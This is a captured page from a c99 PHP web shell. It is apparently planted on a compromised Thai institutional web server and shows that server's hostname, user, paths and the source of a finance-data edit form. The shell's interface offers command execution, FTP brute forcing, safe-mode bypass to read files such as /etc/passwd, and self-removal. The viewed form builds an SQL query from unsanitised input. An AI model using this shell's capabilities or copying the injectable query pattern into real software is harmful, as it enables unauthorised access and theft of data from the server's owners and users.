!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/Finance/Durable_art/   drwxr-xr-x
Free 49.64 GB of 127.8 GB (38.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditFin2.php (6.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
include(
"../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
ConnectDB();
  
$sql ="SELECT * FROM finance4_tb WHERE code='$code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Edit Finance Data</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr > 
          <td width="20%" background="../../../Image/bares5.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../menu_manage.php" class="d">กลับเมนูหลัก</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bares5.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="AddFin.php" class="d">เพิ่มข้อมูล</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bares5.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="EditFinList.php?Teacher_code=<?echo $code?>&Username=<?echo $valid_user;?>" class="d">ลบ 
              หรือ แก้ไข</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bares5.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="d">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="86%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" style="border:1px solid gray">
  <tr bgcolor="#7CAB84"> 
    <td colspan="3"> <div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข</font><font color="#FFFFCC" size="4" face="Tahoma"> 
        <font color="#FFFFFF">ข้อมูล</font><font color="#FFFFFF" size="4" face="Tahoma">ค่าครุภัณฑ์และสิ่งก่อสร้าง</font></font></strong></div></td>
  </tr>
  <form action="EditFin.php" method="post">
    <tr bgcolor="#CCCCCC"> 
      <td width="28%" bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font size="2">ปีงบประมาณ</font></div></td>
      <td width="2%" bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td width="70%" bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Year_budget" type="text" id="Year_budget" value="<? echo $rs[Year_budget]?>" size="20"> 
      </td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">วัน/เดือน/ปี 
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><select name="Mday">
          <?getDay1to31();?>
        </select>
        - 
        <select name="Mmonth">
          <?getThaiMonth();?>
        </select>
        - 
        <input name="Myear" type="text" id="Myear" size="10"> </td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">ครุภัณฑ์การศึกษา<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost1" type="text" id="Cost1" value="<? echo $rs[Cost1]?>"> 
        <font size="2" face="Tahoma">บาท <font color="#FF0000">*ไม่ต้องพิมพ์เครื่องหมาย 
        comma (,)</font></font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">สำนักงาน<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost2" type="text" id="Cost2" value="<? echo $rs[Cost2]?>"> 
        <font size="2" face="Tahoma">บาท </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">โฆษณาและเผยแพร่<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost3" type="text" id="Cost3" value="<? echo $rs[Cost3]?>"> 
        <font size="2" face="Tahoma">บาท </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">ก่อสร้าง<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost4" type="text" id="Cost4" value="<? echo $rs[Cost4]?>"> 
        <font size="2" face="Tahoma">บาท </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">ไฟฟ้าและวิทยุ<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost5" type="text" id="Cost5" value="<? echo $rs[Cost5]?>"> 
        <font size="2" face="Tahoma">บาท </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">งานบ้านงานครัว<br>
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Cost6" type="text" id="Cost6" value="<? echo $rs[Cost6]?>"> 
        <font size="2" face="Tahoma">บาท </font></td>
    </tr>
    <tr bgcolor="#7CAB84" > 
      <td height="26" colspan="3"> <div align="center"> 
          <input type="hidden" name="code" value=" <? echo $rs[code]?>">
          <input type="submit" name="Submit" value="    บันทึก    ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../FrmLogin.php\" target=\"mainFrame\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0209 ]--